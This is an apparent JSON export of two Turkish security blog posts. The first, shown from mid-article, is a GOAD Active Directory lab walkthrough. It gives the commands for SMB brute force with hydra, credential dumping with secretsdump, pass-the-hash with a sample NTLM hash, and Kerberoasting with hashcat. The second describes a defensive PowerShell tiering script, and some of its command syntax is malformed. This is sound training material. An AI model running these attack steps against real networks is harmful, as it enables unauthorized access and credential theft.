zay\u0131f \u015fifresini k\u0131rarak ba\u015flang\u0131\u00e7 eri\u015fimi sa\u011flamak. <strong>Ara\u00e7lar:<\/strong>\u00a0<code>nmap<\/code>,\u00a0<code>hydra<\/code>,\u00a0<code>crackmapexec<\/code> <strong>Ad\u0131mlar:<\/strong> <ol start=\"1\"> <li>A\u011fdaki SMB portlar\u0131n\u0131 (445) taray\u0131n: <div > <div > <div > <div >bash<\/div> <\/div> <\/div> <pre>nmap <span >-p<\/span> <span >445<\/span> <span >192.168<\/span>.56.0\/24<\/pre> <\/div><\/li> <li>Hydra ile brute-force sald\u0131r\u0131s\u0131 yap\u0131n (\u00f6rnek kullan\u0131c\u0131:\u00a0<code>user1<\/code>): <div > <div > <div > <div >bash<\/div> <div > <div ><\/div> <\/div> <\/div> <\/div> <pre>hydra <span >-l<\/span> user1 <span >-P<\/span> \/usr\/share\/wordlists\/rockyou.txt smb:\/\/192.168.56.10<\/pre> <\/div><\/li> <li>Ba\u015far\u0131l\u0131 kimlik bilgileriyle oturum a\u00e7\u0131n: <div > <div > <div > <div >bash<\/div> <div > <div ><\/div> <\/div> <\/div> <\/div> <pre>crackmapexec smb <span >192.168<\/span>.56.10 <span >-u<\/span> user1 <span >-p<\/span> <span >'Password123!'<\/span><\/pre> <\/div><\/li> <\/ol> <hr \/> <h3>2. Lateral Movement: Pass-the-Hash ile Yatay Hareket<\/h3> <strong>Ama\u00e7:<\/strong>\u00a0Ele ge\u00e7irilen NTLM hash\u2019i kullanarak ba\u015fka bir makineye s\u0131\u00e7ramak. <strong>Ara\u00e7lar:<\/strong>\u00a0<code>pth-winexe<\/code>,\u00a0<code>secretsdump.py<\/code>\u00a0(Impacket) <strong>Ad\u0131mlar:<\/strong> <ol start=\"1\"> <li>Hash\u2019i \u00e7\u0131kar\u0131n (\u00f6rnek hedef:\u00a0<code>WS01<\/code>): <div > <div > <div > <div >bash<\/div> <div > <div ><\/div> <\/div> <\/div> <\/div> <pre>secretsdump.py <span >'user1:Password123!@192.168.56.10'<\/span><\/pre> <\/div><\/li> <li>Elde edilen Administrator hash\u2019i ile hedef makinede komut \u00e7al\u0131\u015ft\u0131r\u0131n: <div > <div > <div > <div >bash<\/div> <div > <div ><\/div> <\/div> <\/div> <\/div> <pre>pth-winexe <span >-U<\/span> Administrator%aad3b435b51404eeaad3b435b51404ee:CCF3C6466D32D3B2A0413333F5C65809 \/\/192.168.56.20 cmd<\/pre> <\/div><\/li> <\/ol> <hr \/> <h3>3. Privilege Escalation: Kerberoasting ile Yetki Y\u00fckseltme<\/h3> <strong>Ama\u00e7:<\/strong>\u00a0Service Principal Name (SPN) kay\u0131tl\u0131 bir hesab\u0131n TGS biletini \u00e7al\u0131p \u015fifresini k\u0131rmak. <strong>Ara\u00e7lar:<\/strong>\u00a0<code>GetUserSPNs.py<\/code>\u00a0(Impacket),\u00a0<code>hashcat<\/code> <strong>Ad\u0131mlar:<\/strong> <ol start=\"1\"> <li>SPN kay\u0131tl\u0131 hesaplar\u0131 listeleyin: <div > <div > <div > <div >bash<\/div> <div > <div ><\/div> <\/div> <\/div> <\/div> <pre>GetUserSPNs.py -dc-ip <span >192.168<\/span>.56.10 LAB.LOCAL\/user1:Password123<span >!<\/span> <span >-request<\/span><\/pre> <\/div><\/li> <li>\u00c7al\u0131nan hash\u2019i\u00a0<code>hashcat<\/code>\u00a0ile k\u0131r\u0131n: <div > <div > <div > <div >bash<\/div> <div > <div ><\/div> <\/div> <\/div> <\/div> <pre>hashcat <span >-m<\/span> <span >13100<\/span> hash.txt \/usr\/share\/wordlists\/rockyou.txt<\/pre> <\/div><\/li> <\/ol> <hr \/> <h2>Neden GOAD Tercih Edilmeli?<\/h2> <ul> <li><strong>Zaman Tasarrufu:<\/strong>\u00a0Laboratuvar kurulumu saatler s\u00fcren bir i\u015flemken, GOAD ile bu s\u00fcre 10-15 dakikaya iner.<\/li> <li><strong>Ger\u00e7ek\u00e7i Senaryolar:<\/strong>\u00a0Ger\u00e7ek d\u00fcnyadaki sald\u0131r\u0131 tekniklerini birebir sim\u00fcle eder.<\/li> <li><strong>\u00dccretsiz ve Eri\u015filebilir:<\/strong>\u00a0A\u00e7\u0131k kaynakl\u0131 olmas\u0131, herkesin katk\u0131da bulunmas\u0131na ve \u00f6\u011frenmesine olanak tan\u0131r.<\/li> <\/ul> <hr \/> GOAD, siber g\u00fcvenlik uzmanlar\u0131 i\u00e7in bir \"oyun alan\u0131\" sunarak teorik bilgiyi prati\u011fe d\u00f6kme f\u0131rsat\u0131 veriyor. Sald\u0131r\u0131 tekniklerini \u00f6\u011frenmek, savunma stratejilerini test etmek veya sertifikasyon s\u0131navlar\u0131na haz\u0131rlanmak isteyenler i\u00e7in vazge\u00e7ilmez bir kaynak. Projeyi incelemek, katk\u0131da bulunmak veya deneyimlerinizi payla\u015fmak i\u00e7in\u00a0<a href=\"https:\/\/github.com\/Orange-Cyberdefense\/GOAD\" target=\"_blank\" rel=\"noopener noreferrer\">GOAD GitHub Repo<\/a>\u2019yu ziyaret edebilirsiniz. <strong>Unutmay\u0131n:<\/strong>\u00a0\u201cEn iyi savunma, iyi bir sald\u0131r\u0131y\u0131 anlamakt\u0131r!\u201d <hr \/> #Siber G\u00fcvenlik #ActiveDirectory #S\u0131zmaTesti #GOAD #OrangeCyberdefense <!-- \/wp:paragraph -->","excerpt":"Active Directory (AD), kurumsal a\u011flar\u0131n bel kemi\u011fidir. Kimlik do\u011frulama, yetkilendirme ve kaynak y\u00f6netimi gibi kritik i\u015flevleri \u00fcstlenen AD, siber sald\u0131rganlar\u0131n da ba\u015fl\u0131ca hedefi haline gelmi\u015ftir. Peki, g\u00fcvenlik uzmanlar\u0131 bu karma\u015f\u0131k sistemlere y\u00f6nelik sald\u0131r\u0131lar\u0131 nas\u0131l \u00f6\u011frenebilir ve savunma stratejilerini nas\u0131l geli\u015ftirebilir? \u0130\u015fte tam da bu noktada **GOAD (Game of Active Directory)**, Orange Cyberdefense taraf\u0131ndan geli\u015ftirilen a\u00e7\u0131k kaynakl\u0131 bir laboratuvar projesi, devreye giriyor.","created_at":"2025-02-27 13:39:03","updated_at":"2026-09-07 21:38:09","category_id":7,"view_count":845,"reading_time":4,"status":"published","editor_choice":0,"is_editor_choice":0,"published_at":"2025-02-27 13:39:03","featured_image":"resimyok.jpg","slug":"game-of-active-directory","category_name":"Cyber Security","category_slug":"cyber-security","category_color":"#10b981"},{"id":166,"title":"Create-Tiers in AD","content":"CreateTiers in AD, Active Directory ortam\u0131nda katmanl\u0131 bir g\u00fcvenlik modeli olu\u015fturmak i\u00e7in kullan\u0131lan g\u00fc\u00e7l\u00fc bir PowerShell script'idir. Bu script, \u00f6zellikle b\u00fcy\u00fck \u00f6l\u00e7ekli kurumsal a\u011flarda g\u00fcvenli\u011fi art\u0131rmak ve y\u00f6netimi kolayla\u015ft\u0131rmak i\u00e7in tasarlanm\u0131\u015ft\u0131r. \u0130\u015fte bu scriptin kurulumu, kullan\u0131m\u0131 ve avantajlar\u0131 hakk\u0131nda detayl\u0131 bir rehber: &nbsp; <strong>CreateTiers in AD Nedir?<\/strong> CreateTiers in AD, Active Directory'de Tiered Security Model (Katmanl\u0131 G\u00fcvenlik Modeli) olu\u015fturmak i\u00e7in kullan\u0131lan bir PowerShell script'idir. Bu model, a\u011f kaynaklar\u0131n\u0131 g\u00fcvenlik seviyelerine g\u00f6re katmanlara ay\u0131r\u0131r ve her katman i\u00e7in farkl\u0131 eri\u015fim kontrolleri uygular. Bu sayede, kritik sistemlerin korunmas\u0131 ve sald\u0131r\u0131 y\u00fczeyinin k\u00fc\u00e7\u00fclt\u00fclmesi sa\u011flan\u0131r. &nbsp; <strong>CreateTiers in AD Kurulumu<\/strong> 1. Script'i \u0130ndirme Script'i GitHub \u00fczerinden indirebilirsiniz: powershell GitHub'dan indirme <pre  data-enlighter-language=\"generic\">git clone https:\/\/github.com\/techservicesillinois\/SecOpsPowershellADLAB<\/pre> &nbsp; Veya do\u011frudan scripti indirme <pre  data-enlighter-language=\"generic\">InvokeWebRequest Uri \"https:\/\/raw.githubusercontent.com\/techservicesillinois\/SecOpsPowershellADLAB\/master\/CreateTiers.ps1\" OutFile \"CreateTiers.ps1\"<\/pre> &nbsp; 2. Script'i \u00c7al\u0131\u015ft\u0131rma Script'i \u00e7al\u0131\u015ft\u0131rmadan \u00f6nce PowerShell'i y\u00f6netici olarak ba\u015flat\u0131n ve script'i import edin: powershell <pre  data-enlighter-language=\"generic\">Scripti import etme . .\\CreateTiers.ps1<\/pre> &nbsp; CreateTiers in AD Kullan\u0131m\u0131 1. Temel Yap\u0131land\u0131rma Basit bir tier yap\u0131s\u0131 olu\u015fturmak i\u00e7in a\u015fa\u011f\u0131daki komutu kullan\u0131n: powershell <pre  data-enlighter-language=\"generic\">CreateTiers DomainName \"domain.local\" Verbose<\/pre> &nbsp; 2. \u00d6zel Yap\u0131land\u0131rma \u00d6zel OU (Organizational Unit) ve grup yap\u0131s\u0131 olu\u015fturmak i\u00e7in: powershell <pre  data-enlighter-language=\"generic\">CreateTiers DomainName \"domain.local\" Tier0OUName \"T0Admin\" Tier1OUName \"T1ServerAdmins\" Tier2OUName \"T2UserSupport\" CreateGroups $true<\/pre> &nbsp; 3. GPO Yap\u0131land\u0131rmas\u0131 GPO (Group Policy Object) olu\u015fturma ile birlikte: powershell <pre  data-enlighter-language=\"generic\">CreateTiers CreateGPOs $true GPOPrefix \"SECTIER\"<\/pre> &nbsp; 4. G\u00fcvenlik Gruplar\u0131 Tier bazl\u0131 gruplar olu\u015fturmak i\u00e7in: powershell <pre  data-enlighter-language=\"generic\">$groups = @{ \"Tier0\" = @(\"T0Admins\", \"T0ServiceAccounts\") \"Tier1\" = @(\"T1ServerAdmins\", \"T1DBAdmins\") \"Tier2\" = @(\"T2Helpdesk\", \"T2Support\") } CreateTiers SecurityGroups $groups<\/pre> &nbsp; 5. Eri\u015fim Kontrolleri Tier eri\u015fim kurallar\u0131 tan\u0131mlamak i\u00e7in: powershell <pre  data-enlighter-language=\"generic\">$accessRules = @{ \"Tier0\" = \"Deny_All_Lower_Tiers\" \"Tier1\" = \"Allow_Same_Tier_Only\" \"Tier2\" = \"Allow_Upper_Tiers\" } CreateTiers AccessRules $accessRules<\/pre> &nbsp; 6. \u0130zleme ve Loglama Detayl\u0131 loglama ile olu\u015fturmak i\u00e7in: powershell <pre  data-enlighter-language=\"generic\">CreateTiers EnableAuditing $true LogPath \"C:\\Logs\\TierCreation.log\" DetailedLogging $true<\/pre> &nbsp; Tier Yap\u0131s\u0131 CreateTiers in AD, Active Directory'yi \u00fc\u00e7 temel katmana ay\u0131r\u0131r: 1. Tier 0 (En Y\u00fcksek G\u00fcvenlik): Domain Controllers Enterprise Admins Schema Admins Domain Admins 2. Tier 1 (Sunucu Y\u00f6netimi): Server Admins Application Admins Database Admins 3. Tier 2 (Kullan\u0131c\u0131 Sistemleri): Helpdesk Desktop Support End Users &nbsp; \u0130yi Uygulama \u00d6nerileri 1. Tier 0'\u0131 S\u0131k\u0131 Koruyun: Dedicated y\u00f6netim istasyonlar\u0131 kullan\u0131n. Smart card authentication zorunlu tutun. JustInTime eri\u015fim uygulay\u0131n. 2. Tier 1 i\u00e7in \u00d6nlemler: Server admin hesaplar\u0131n\u0131 izole edin. Session s\u00fcrelerini s\u0131n\u0131rland\u0131r\u0131n. Remote eri\u015fimleri k\u0131s\u0131tlay\u0131n. 3. Tier 2 i\u00e7in \u00d6nlemler: Standart kullan\u0131c\u0131 politikalar\u0131 uygulay\u0131n. Selfservice imkanlar\u0131 sa\u011flay\u0131n. Help desk eri\u015fimlerini monit\u00f6r edin. &nbsp; Hata Giderme ve Rollback 1. Test Modu Script'i test modunda \u00e7al\u0131\u015ft\u0131rmak i\u00e7in: powershell <pre  data-enlighter-language=\"generic\">CreateTiers TestMode $true<\/pre> &nbsp; 2. Rollback \u00d6zelli\u011fi De\u011fi\u015fiklikleri geri almak i\u00e7in: powershell <pre  data-enlighter-language=\"generic\">CreateTiers EnableRollback $true RollbackPath \"C:\\Backup\\TierConfig\"<\/pre> &nbsp; &nbsp; CreateTiers in AD, Active Directory ortam\u0131n\u0131zda katmanl\u0131 bir g\u00fcvenlik modeli olu\u015fturarak, kritik sistemlerinizi koruman\u0131z\u0131 ve sald\u0131r\u0131 y\u00fczeyini k\u00fc\u00e7\u00fcltmenizi sa\u011flar. Bu script, \u00f6zellikle b\u00fcy\u00fck \u00f6l\u00e7ekli kurumsal a\u011flarda g\u00fcvenli\u011fi art\u0131rmak i\u00e7in ideal bir \u00e7\u00f6z\u00fcmd\u00fcr. Siber g\u00fcvenlik, s\u00fcrekli bir \u00e7aba gerektirir. CreateTiers in AD gibi ara\u00e7larla ba\u015flay\u0131n, sistemlerinizi g\u00fcvende tutun ve sald\u0131rganlara kar\u015f\u0131 proaktif bir savunma stratejisi olu\u015fturun. &nbsp; &nbsp;","excerpt":"Create-Tiers in AD, Active Directory'de katmanl\u0131 bir g\u00fcvenlik modeli olu\u015fturmak i\u00e7in kullan\u0131lan bir PowerShell script'idir.","created_at":"2025-02-06 17:56:18","updated_at":"2026-09-07 16:13:00","category_id":7,"view_count":690,"reading_time":4,"status":"published","editor_choice":0,"is_editor_choice":0,"published_at":"2025-02-06 17:56:18","featured_image":"resimyok.jpg","slug":"create-tiers-in-ad","category_name":"Cyber Security","category_slug":"cyber-security","category_color":"#10b981"}]